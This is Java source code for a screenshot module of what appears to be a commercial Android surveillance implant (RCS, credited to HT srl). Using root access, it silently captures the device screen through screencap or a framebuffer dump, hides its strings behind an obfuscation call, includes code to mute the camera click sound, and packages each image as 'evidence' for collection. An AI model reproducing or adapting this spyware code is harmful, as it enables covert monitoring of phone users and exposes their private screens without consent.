/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : SnapshotAgent.java
 * Created      : Apr 9, 2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.module;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.concurrent.Semaphore;

import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.os.Build;
import android.view.Display;
import android.view.Surface;
import android.view.WindowManager;

import com.android.dvci.Root;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.conf.Configuration;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.file.AutoFile;
import com.android.dvci.listener.ListenerStandby;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.Execute;
import com.android.dvci.util.ExecuteResult;
import com.android.dvci.util.WChar;
import com.android.mm.M;

/**
 * The Class SnapshotAgent.
 */
public class ModuleSnapshot extends BaseInstantModule {

	private static final String TAG = "ModuleSnapshot"; //$NON-NLS-1$
	private static final int LOG_SNAPSHOT_VERSION = 2009031201;
	private static final int MIN_TIMER = 1 * 1000;
	private static final long SNAPSHOT_DELAY = 1000;

	final Display display = ((WindowManager) Status.getAppContext().getSystemService(Context.WINDOW_SERVICE))
			.getDefaultDisplay();

	/** The Constant CAPTURE_FULLSCREEN. */
	final private static int CAPTURE_FULLSCREEN = 0;

	/** The Constant CAPTURE_FOREGROUND. */
	final private static int CAPTURE_FOREGROUND = 1;

	String cameraSound = M.e("/system/media/audio/ui/camera_click.ogg");

	/** The delay. */
	private int delay;

	/** The type. */
	private int type;
	private int quality;
	Semaphore working = new Semaphore(1, true);

	private boolean frameBuffer = true;
	private boolean screenCap = true;

	/*
	 * (non-Javadoc)
	 * 
	 * @see com.ht.AndroidServiceGUI.agent.AgentBase#parse(byte[])
	 */
	@Override
	public boolean parse(ConfModule conf) {

		if (!Status.self().haveRoot()) {
			return false;
		}

		try {
			String qualityParam = conf.getString("quality");
			if ("low".equals(qualityParam)) {
				quality = 50;
			} else if ("med".equals(qualityParam)) {
				quality = 70;
			} else if ("high".equals(qualityParam)) {
				quality = 90;
			}
		} catch (ConfigurationException e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (parse) Error: " + e);
			}
		}

		return true;
	}

	/*
	 * (non-Javadoc)
	 * 
	 * @see com.ht.AndroidServiceGUI.ThreadBase#go()
	 */
	@Override
	public void actualStart() {

		if (Cfg.DEBUG) {
			Check.log(TAG + " (actualStart)");
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " (actualStart): have root");
		}

		final boolean isScreenOn = ListenerStandby.isScreenOn();

		if (!isScreenOn) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (go): Screen powered off, no snapshot");//$NON-NLS-1$
			}

			return;
		}
		if (!working.tryAcquire()) {
			return;
		}

		synchronized(Status.self().lockFramebuffer) {
			try {
				if (!screencapMethod()) {
					screenCap = false;
					if (!frameBufferMethod()) {
						frameBuffer = false;

					}
				}

				if (!frameBuffer && !screenCap) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (actualStart) Screenshot not supported");
					}
				}
			} catch (final Exception ex) {
				if (Cfg.EXCEPTION) {
					Check.log(ex);
				}

				if (Cfg.DEBUG) {
					Check.log(TAG + " (go) Error: " + ex);//$NON-NLS-1$
					Check.log(ex);//$NON-NLS-1$
				}
			} finally {
				working.release();
			}
		}

	}

	private boolean screencapMethod() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (screencapMethod) ");
		}

		if (!screenCap) {
			return false;
		}
		// Questa utility chiama solo una IOCTL
		// http://forum.xda-developers.com/showpost.php?p=41461956
		String sc = M.e("/system/bin/screencap");
		String frame = M.e("/data/data/") + Status.self().getAppContext().getPackageName() + M.e("/files/frame.png");

		AutoFile asc = new AutoFile(sc);
		AutoFile aframe = new AutoFile(frame);
		aframe.delete();

		if (asc.exists() && asc.canRead()) {

			try {
				//disableClick();

				ExecuteResult res = Execute.executeScript(sc + M.e(" -p ") + frame + M.e(";chmod 777 ") + frame);
				if (aframe.exists() && aframe.canRead()) {
					Bitmap bitmap = readPng(aframe);
					if (bitmap == null) {
						return false;
					}
					byte[] jpeg = toJpeg(bitmap);
					if (jpeg == null) {
						return false;
					}
					EvidenceBuilder.atomic(EvidenceType.SNAPSHOT, getAdditionalData(), jpeg);
					return true;
				}

			}finally{
				aframe.delete();
				//enableClick();
			}
		}
		return false;
	}

	private void enableClick() {
		AutoFile file = new AutoFile(cameraSound);
		if (file.exists()) {
			file.chmod(M.e("777"));
		}
	}

	private void disableClick() {
		AutoFile file = new AutoFile(cameraSound);
		if (file.exists()) {
			file.chmod(M.e("000"));
		}
	}

	private Bitmap readPng(AutoFile aframe) {
		Bitmap bitmap = BitmapFactory.decodeFile(aframe.getFilename());
		return bitmap;
	}

	private boolean frameBufferMethod() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (frameBufferMethod) ");
		}

		if (!frameBuffer) {
			return false;
		}

		try {
			final Display display = ((WindowManager) Status.getAppContext().getSystemService(Context.WINDOW_SERVICE))
					.getDefaultDisplay();

			int width, height, w, h;
			final int orientation = display.getOrientation();

			if (isTablet()) {
				h = display.getWidth();
				w = display.getHeight();
			} else {
				w = display.getWidth();
				h = display.getHeight();
			}

			boolean useOrientation = true;
			boolean useMatrix = true;

			if (!useOrientation || orientation == Surface.ROTATION_0 || orientation == Surface.ROTATION_180) {
				width = w;
				height = h;
			} else {
				height = w;
				width = h;
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (go): w=" + width + " h=" + height);//$NON-NLS-1$ //$NON-NLS-2$
			}

			Bitmap bitmap = null;
			System.gc();

			// 0: invertito blu e rosso
			// 1: perdita info
			// 2: invertito blu e verde
			// 3: no ARGB, no ABGR, no AGRB
			byte[] raw = getRawBitmap();

			if (raw == null || raw.length == 0) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (frameBufferMethod): raw bitmap is null or has 0 length"); //$NON-NLS-1$
				}
				return false;
			} else {

				if (isBlack(raw)) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (frameBufferMethod): all black");
					}
					// TODO: aggiungere (una volta sola) un log info
					return false;
				}
				if (usesInvertedColors()) {
					// sul tablet non e' ARGB ma ABGR.
					byte[] newraw = new byte[raw.length / 2];

					for (int i = 0; i < newraw.length; i++) {
						switch (i % 4) {
						case 0:
							newraw[i] = raw[i + 2]; // A 3:+2
							break;
						case 1:
							newraw[i] = raw[i]; // R 1:+2 2:+1
							break;
						case 2:
							newraw[i] = raw[i - 2]; // G 2:-1 3:-2
							break;
						case 3:
							newraw[i] = raw[i]; // B 1:-2
							break;
						}
						/*
						 * if (i % 4 == 0) newraw[i] = raw[i + 2]; // A 3:+2
						 * else if (i % 4 == 1) newraw[i] = raw[i]; // R 1:+2
						 * 2:+1 else if (i % 4 == 2) newraw[i] = raw[i - 2]; //
						 * G 2:-1 3:-2 else if (i % 4 == 3) newraw[i] = raw[i];
						 * // B 1:-2
						 */
					}

					raw = newraw;
					bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
				}

				ByteBuffer buffer = ByteBuffer.wrap(raw);
				if (buffer == null) {
					return false;
				}
				
				bitmap.copyPixelsFromBuffer(buffer);
				buffer = null;
				raw = null;

				int rotateTab = 0;

				if (isTablet()) {
					rotateTab = -90;
				}

				if (useMatrix && orientation != Surface.ROTATION_0) {
					final Matrix matrix = new Matrix();

					if (orientation == Surface.ROTATION_90) {
						matrix.setRotate(270 + rotateTab);
					} else if (orientation == Surface.ROTATION_270) {
						matrix.setRotate(90 + rotateTab);
					} else if (orientation == Surface.ROTATION_180) {
						matrix.setRotate(180 + rotateTab);
					} else {
						matrix.setRotate(rotateTab);
					}

					bitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height, matrix, true);
				}

				byte[] jpeg = toJpeg(bitmap);
				bitmap = null;

				EvidenceBuilder.atomic(EvidenceType.SNAPSHOT, getAdditionalData(), jpeg);
				jpeg = null;

			}
			return true;
		} catch (Exception ex) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (frameBufferMethod) Error: " + ex);
			}
			return false;
		}
	}

	private boolean isBlack(byte[] raw) {
		for (int i = 0; i < raw.length; i++) {
			if (raw[i] != 0) {
				return true;
			}
		}
		return false;
	}

	private boolean isTablet() {
		int w = display.getWidth();
		int h = display.getHeight();

		if ((w == 600 && h == 1024) || (w == 1024 && h == 600)) {
			return true;
		}

		String model = Build.MODEL.toLowerCase();

		// Samsung Galaxy Tab
		if (model.contains(M.e("gt-p7500"))) {
			return true;
		}

		return false;
	}

	private boolean usesInvertedColors() {
		String model = Build.MODEL.toLowerCase();

		// Samsung Galaxy Tab
		if (model.contains(M.e("gt-p7500"))) {
			return true;
		}

		// Samsung Galaxy S2
		if (model.contains(M.e("gt-i9100"))) {
			return true;
		}

		// Samsung Galaxy S3
		if (model.contains(M.e("gt-i9300"))) {
			return true;
		}

		return false;
	}

	private byte[] getAdditionalData() {
		final String window = M.e("Desktop"); //$NON-NLS-1$

		final int wlen = window.length() * 2;
		final int tlen = wlen + 24;
		final byte[] additionalData = new byte[tlen];

		final DataBuffer databuffer = new DataBuffer(additionalData, 0, tlen);

		databuffer.writeInt(LOG_SNAPSHOT_VERSION); // version
		databuffer.writeInt(0); // process name len
		databuffer.writeInt(wlen); // windows name len

		byte[] windowsName = new byte[wlen];
		windowsName = WChar.getBytes(window);
		databuffer.write(windowsName);

		return additionalData;
	}

	private byte[] toJpeg(Bitmap bitmap) {

		ByteArrayOutputStream os = new ByteArrayOutputStream();
		bitmap.compress(Bitmap.CompressFormat.JPEG, quality, os);

		final byte[] array = os.toByteArray();
		try {
			os.close();
			os = null;

		} catch (final IOException e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			if (Cfg.DEBUG) {
				Check.log(e);//$NON-NLS-1$
			}
		}
		return array;

	}

	private byte[] getRawBitmap() {
		final File filesPath = Status.getAppContext().getFilesDir();
		final String path = filesPath.getAbsolutePath();

		try {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (getRawBitmap): calling frame generator");
			}

			Execute.execute(Configuration.shellFile + M.e(" fb /data/data/")
					+ Status.self().getAppContext().getPackageName() +  M.e("/files/frame"));

			if (Cfg.DEBUG) {
				Check.log(TAG + " (getRawBitmap): finished calling frame generator");
			}
			// 11_3=frame
			final AutoFile file = new AutoFile(path, M.e("frame")); //$NON-NLS-1$

			if (file.exists()) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (getRawBitmap) file exists: " + file);
				}

				byte[] ret = file.read();

				file.delete();
				return ret;
			}

		} catch (Exception e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (getRawBitmap) Error: " + e);
			}
		}

		return null;
	}

}
